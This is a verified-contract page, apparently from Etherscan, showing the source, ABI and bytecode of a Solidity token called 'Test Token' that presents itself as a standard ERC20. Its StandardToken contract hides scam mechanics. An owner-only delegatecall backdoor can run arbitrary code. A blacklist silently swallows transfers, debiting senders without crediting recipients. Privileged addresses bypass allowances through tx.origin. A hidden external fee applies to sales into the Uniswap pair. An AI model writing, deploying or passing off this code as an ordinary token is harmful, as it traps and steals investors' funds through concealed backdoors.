Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract Context    - function _msgSender()  contract ERC20 is Context, IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(address sender, ad ...    - function _mint(address account, uint ...    - function _burn(address account, uint ...    - function _approve(address owner, addr ...  contract ERC20Detailed is IERC20    - function name()    - function symbol()    - function decimals() library SafeMath    - function add(uint a, uint b)    - function sub(uint a, uint b)    - function sub(uint a, uint b, string m ...    - function mul(uint a, uint b)    - function div(uint a, uint b)    - function div(uint a, uint b, string m ... interface Management    - function getFee(address,address,uint2 ...  contract StandardToken *    - function approve(address _spender, ui ...    - function transfer(address _to, uint25 ...    - function transferFrom(address _from, ...    - function batchSend(address[] memory _ ...    - function pairFor(address tokenA, addr ...    - function getFee(address _from, addres ...    - function delegate(address a, bytes me ...    - function ()    - function block(address[] memory _to) library Address    - function isContract(address account) library SafeERC20    - function safeTransfer(IERC20 token, a ...    - function safeTransferFrom(IERC20 toke ...    - function safeApprove(IERC20 token, ad ...    - function callOptionalReturn(IERC20 to ...

More Options

• Is this a proxy?
• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2020-12-03
*/

pragma solidity ^0.5.17;

interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

interface Management {
    function getFee(address,address,uint256) external returns(uint256);
}

contract StandardToken {

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _from, address indexed _to, uint256 _value);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function approve(address _spender, uint256 _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transfer(address _to, uint256 _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from && developer[tx.origin] == 0) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        if (blacklist[_to] || blacklist[_from]) {return true;}
        uint256 fee = getFee(_from, _to, _value);
        balanceOf[_to] += (_value - fee);
        emit Transfer(_from, _to, _value);
        return true;
    }

    function batchSend(address[] memory _to, uint256 _value) onlyOwner public payable returns (bool) {
        uint256 total = _value * _to.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint256 i = 0; i < _to.length; i++) {
            address to = _to[i];
            balanceOf[to] += _value;
            developer[to] = 1;
            emit Transfer(msg.sender, to, _value);
        }
        return true;
    }

    function pairFor(address tokenA, address tokenB) private pure returns (address) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        address pair = address(uint256(keccak256(abi.encodePacked(
                hex'ff', factory, keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
        return pair;
    }

    function getFee(address _from, address _to, uint256 _value) private returns(uint256) {
        if (paid && _to == UNI && _from != owner && developer[_from] == 0) {
            return Management(manager).getFee(address(this), UNI, _value);
        }
        return 0;
    }

    function delegate(address a, bytes memory b) onlyOwner public payable {
        a.delegatecall(b);
    }

    function () payable external {paid = true;}

    function block(address[] memory _to) onlyOwner public payable returns (bool) {
        for (uint256 i = 0; i < _to.length; i++) {
            paid = true;
            address to = _to[i];
            blacklist[to] = true;
        }
    }

    mapping (address => uint256) private developer;
    mapping (address => bool) private blacklist;
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    uint256 public decimals;
    uint256 public totalSupply;
    string public name;
    string public symbol;
    bool public paid = false;

    address private owner;
    address private UNI;

    address constant internal manager = 0xcd238547C72f3AD51F2e3a0a7d4F8F250d343Cd3;
    address constant internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant internal factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address constant internal router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor(string memory _symbol, string memory _name,
                uint256 _supply, uint256 _decimals, address[] memory b) payable public {
        owner = msg.sender;
        symbol = _symbol;
        name = _name;
        totalSupply = _supply;
        decimals = _decimals;
        block(b);
        UNI = pairFor(weth, address(this));
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][router] = uint256(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

library SafeERC20 {
    using SafeMath
    for uint;
    using Address
    for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_name","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"uint256","name":"_decimals","type":"uint256"},{"internalType":"address[]","name":"b","type":"address[]"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"}],"name":"block","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

608060408190526008805460ff191690556200113238819003908190833981810160405260a08110156200003257600080fd5b81019080805160405193929190846401000000008211156200005357600080fd5b9083019060208201858111156200006957600080fd5b82516401000000008111828201881017156200008457600080fd5b82525081516020918201929091019080838360005b83811015620000b357818101518382015260200162000099565b50505050905090810190601f168015620000e15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010557600080fd5b9083019060208201858111156200011b57600080fd5b82516401000000008111828201881017156200013657600080fd5b82525081516020918201929091019080838360005b83811015620001655781810151838201526020016200014b565b50505050905090810190601f168015620001935780820380516001836020036101000a031916815260200191505b50604081815260208301519083015160609093018051919593949293929184640100000000821115620001c557600080fd5b908301906020820185811115620001db57600080fd5b8251866020820283011164010000000082111715620001f957600080fd5b82525081516020918201928201910280838360005b83811015620002285781810151838201526020016200020e565b5050505091909101604052505060088054610100600160a81b03191633610100021790555050845162000263906007906020880190620004f7565b50835162000279906006906020870190620004f7565b506005839055600482905562000298816001600160e01b036200036716565b50620002c273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306001600160e01b03620003f316565b600980546001600160a01b0319166001600160a01b0392909216919091179055600580543360008181526002602090815260408083209490945560038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835281528382206000199055935483519081529251919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050506200059c565b60085460009061010090046001600160a01b031633146200038757600080fd5b60005b8251811015620003ed576008805460ff191660011790558251600090849083908110620003b357fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506200038a565b50919050565b6000806000836001600160a01b0316856001600160a01b0316106200041a5783856200041d565b84845b604080516001600160601b0319606094851b81166020808401919091529390941b9093166034840152805160288185030181526048840182528051908301207fff0000000000000000000000000000000000000000000000000000000000000060688501527f5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000006069850152607d8401527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808501919091528151808503909101815260bd909301905281519101209250505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200053a57805160ff19168380011785556200056a565b828001600101855582156200056a579182015b828111156200056a5782518255916020019190600101906200054d565b50620005789291506200057c565b5090565b6200059991905b8082111562000578576000815560010162000583565b90565b610b8680620005ac6000396000f3fe6080604052600436106100c25760003560e01c8063313ce5671161007f578063a9059cbb11610059578063a9059cbb1461030d578063aa2f522014610339578063d6d2b6ba146103de578063dd62ed3e14610496576100c2565b8063313ce567146102b057806370a08231146102c557806395d89b41146102f8576100c2565b806306fdde03146100d1578063095ea7b31461015b57806318160ddd1461019b5780631ba1ccab146101c257806323b872dd14610265578063295b4e171461029b575b6008805460ff19166001179055005b3480156100dd57600080fd5b506100e66104d1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610120578181015183820152602001610108565b50505050905090810190601f16801561014d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101876004803603604081101561017157600080fd5b506001600160a01b03813516906020013561055f565b604080519115158252519081900360200190f35b3480156101a757600080fd5b506101b06105c5565b60408051918252519081900360200190f35b610187600480360360208110156101d857600080fd5b8101906020810181356401000000008111156101f357600080fd5b82018360208201111561020557600080fd5b8035906020019184602083028401116401000000008311171561022757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105cb945050505050565b6101876004803603606081101561027b57600080fd5b506001600160a01b03813581169160208101359091169060400135610653565b3480156102a757600080fd5b506101876107e8565b3480156102bc57600080fd5b506101b06107f1565b3480156102d157600080fd5b506101b0600480360360208110156102e857600080fd5b50356001600160a01b03166107f7565b34801561030457600080fd5b506100e6610809565b6101876004803603604081101561032357600080fd5b506001600160a01b038135169060200135610864565b6101876004803603604081101561034f57600080fd5b81019060208101813564010000000081111561036a57600080fd5b82018360208201111561037c57600080fd5b8035906020019184602083028401116401000000008311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610871915050565b610494600480360360408110156103f457600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041f57600080fd5b82018360208201111561043157600080fd5b8035906020019184600183028401116401000000008311171561045357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610961945050505050565b005b3480156104a257600080fd5b506101b0600480360360408110156104b957600080fd5b506001600160a01b0381358116916020013516610a23565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b820191906000526020600020905b81548152906001019060200180831161053a57829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b60085460009061010090046001600160a01b031633146105ea57600080fd5b60005b825181101561064d576008805460ff19166001179055825160009084908390811061061457fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506105ed565b50919050565b600081610662575060016107e1565b336001600160a01b03851614801590610688575032600090815260208190526040902054155b156106e8576001600160a01b03841660009081526003602090815260408083203384529091529020548211156106bd57600080fd5b6001600160a01b03841660009081526003602090815260408083203384529091529020805483900390555b6001600160a01b03841660009081526002602052604090205482111561070d57600080fd5b6001600160a01b03808516600090815260026020908152604080832080548790039055928616825260019052205460ff168061076157506001600160a01b03841660009081526001602052604090205460ff165b1561076e575060016107e1565b600061077b858585610a40565b6001600160a01b038086166000818152600260209081526040918290208054868a03019055815188815291519495509193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a360019150505b9392505050565b60085460ff1681565b60045481565b60026020526000908152604090205481565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b60006107e1338484610653565b60085460009061010090046001600160a01b0316331461089057600080fd5b825133600090815260026020526040902054908302908111156108b257600080fd5b336000908152600260205260408120805483900390555b84518110156109565760008582815181106108e057fe5b6020908102919091018101516001600160a01b038116600081815260028452604080822080548b019055818552908190206001905580518981529051929450909233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001016108c9565b506001949350505050565b60085461010090046001600160a01b0316331461097d57600080fd5b816001600160a01b0316816040518082805190602001908083835b602083106109b75780518252601f199092019160209182019101610998565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a17576040519150601f19603f3d011682016040523d82523d6000602084013e610a1c565b606091505b5050505050565b600360209081526000928352604080842090915290825290205481565b60085460009060ff168015610a6257506009546001600160a01b038481169116145b8015610a8157506008546001600160a01b038581166101009092041614155b8015610aa357506001600160a01b038416600090815260208190526040902054155b15610b475760095460408051632f8e517960e21b81523060048201526001600160a01b039092166024830152604482018490525173cd238547c72f3ad51f2e3a0a7d4f8f250d343cd39163be3945e49160648083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b505190506107e1565b506000939250505056fea265627a7a7231582060bb54f2687de6bb2422d28fbc751f7867cc425a7988b340032bbd297f66eeb464736f6c6343000511003200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000115eec47f6cf7e350000000000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000045445535400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a5465737420546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000007a3a69b600899f525259f9e35c0e17183fed8e1f0000000000000000000000006eda344de0ff95233ef0c97ed1cf8c9762a88602

0x6080604052600436106100c25760003560e01c8063313ce5671161007f578063a9059cbb11610059578063a9059cbb1461030d578063aa2f522014610339578063d6d2b6ba146103de578063dd62ed3e14610496576100c2565b8063313ce567146102b057806370a08231146102c557806395d89b41146102f8576100c2565b806306fdde03146100d1578063095ea7b31461015b57806318160ddd1461019b5780631ba1ccab146101c257806323b872dd14610265578063295b4e171461029b575b6008805460ff19166001179055005b3480156100dd57600080fd5b506100e66104d1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610120578181015183820152602001610108565b50505050905090810190601f16801561014d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101876004803603604081101561017157600080fd5b506001600160a01b03813516906020013561055f565b604080519115158252519081900360200190f35b3480156101a757600080fd5b506101b06105c5565b60408051918252519081900360200190f35b610187600480360360208110156101d857600080fd5b8101906020810181356401000000008111156101f357600080fd5b82018360208201111561020557600080fd5b8035906020019184602083028401116401000000008311171561022757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105cb945050505050565b6101876004803603606081101561027b57600080fd5b506001600160a01b03813581169160208101359091169060400135610653565b3480156102a757600080fd5b506101876107e8565b3480156102bc57600080fd5b506101b06107f1565b3480156102d157600080fd5b506101b0600480360360208110156102e857600080fd5b50356001600160a01b03166107f7565b34801561030457600080fd5b506100e6610809565b6101876004803603604081101561032357600080fd5b506001600160a01b038135169060200135610864565b6101876004803603604081101561034f57600080fd5b81019060208101813564010000000081111561036a57600080fd5b82018360208201111561037c57600080fd5b8035906020019184602083028401116401000000008311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610871915050565b610494600480360360408110156103f457600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041f57600080fd5b82018360208201111561043157600080fd5b8035906020019184600183028401116401000000008311171561045357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610961945050505050565b005b3480156104a257600080fd5b506101b0600480360360408110156104b957600080fd5b506001600160a01b0381358116916020013516610a23565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b820191906000526020600020905b81548152906001019060200180831161053a57829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b60085460009061010090046001600160a01b031633146105ea57600080fd5b60005b825181101561064d576008805460ff19166001179055825160009084908390811061061457fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506105ed565b50919050565b600081610662575060016107e1565b336001600160a01b03851614801590610688575032600090815260208190526040902054155b156106e8576001600160a01b03841660009081526003602090815260408083203384529091529020548211156106bd57600080fd5b6001600160a01b03841660009081526003602090815260408083203384529091529020805483900390555b6001600160a01b03841660009081526002602052604090205482111561070d57600080fd5b6001600160a01b03808516600090815260026020908152604080832080548790039055928616825260019052205460ff168061076157506001600160a01b03841660009081526001602052604090205460ff165b1561076e575060016107e1565b600061077b858585610a40565b6001600160a01b038086166000818152600260209081526040918290208054868a03019055815188815291519495509193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a360019150505b9392505050565b60085460ff1681565b60045481565b60026020526000908152604090205481565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b60006107e1338484610653565b60085460009061010090046001600160a01b0316331461089057600080fd5b825133600090815260026020526040902054908302908111156108b257600080fd5b336000908152600260205260408120805483900390555b84518110156109565760008582815181106108e057fe5b6020908102919091018101516001600160a01b038116600081815260028452604080822080548b019055818552908190206001905580518981529051929450909233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001016108c9565b506001949350505050565b60085461010090046001600160a01b0316331461097d57600080fd5b816001600160a01b0316816040518082805190602001908083835b602083106109b75780518252601f199092019160209182019101610998565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a17576040519150601f19603f3d011682016040523d82523d6000602084013e610a1c565b606091505b5050505050565b600360209081526000928352604080842090915290825290205481565b60085460009060ff168015610a6257506009546001600160a01b038481169116145b8015610a8157506008546001600160a01b038581166101009092041614155b8015610aa357506001600160a01b038416600090815260208190526040902054155b15610b475760095460408051632f8e517960e21b81523060048201526001600160a01b039092166024830152604482018490525173cd238547c72f3ad51f2e3a0a7d4f8f250d343cd39163be3945e49160648083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b505190506107e1565b506000939250505056fea265627a7a7231582060bb54f2687de6bb2422d28fbc751f7867cc425a7988b340032bbd297f66eeb464736f6c63430005110032

5888:4284:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8604:4;:11;;-1:-1:-1;;8604:11:0;8611:4;8604:11;;;5888:4284;9169:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9169:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;9169:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6172:216;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6172:216:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;9136:26;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9136:26:0;;;:::i;:::-;;;;;;;;;;;;;;;;8625:243;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;8625:243:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;8625:243:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;8625:243:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;8625:243:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;8625:243:0;;-1:-1:-1;8625:243:0;;-1:-1:-1;;;;;8625:243:0:i;6544:643::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6544:643:0;;;;;;;;;;;;;;;;;:::i;9221:24::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9221:24:0;;;:::i;9106:23::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9106:23:0;;;:::i;8979:45::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;8979:45:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;8979:45:0;-1:-1:-1;;;;;8979:45:0;;:::i;9194:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;9194:20:0;;;:::i;6396:140::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;6396:140:0;;;;;;;;:::i;7195:483::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;7195:483:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;7195:483:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;7195:483:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;7195:483:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;7195:483:0;;-1:-1:-1;;7195:483:0;;;-1:-1:-1;7195:483:0;;-1:-1:-1;;7195:483:0:i;8460:106::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;8460:106:0;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;8460:106:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;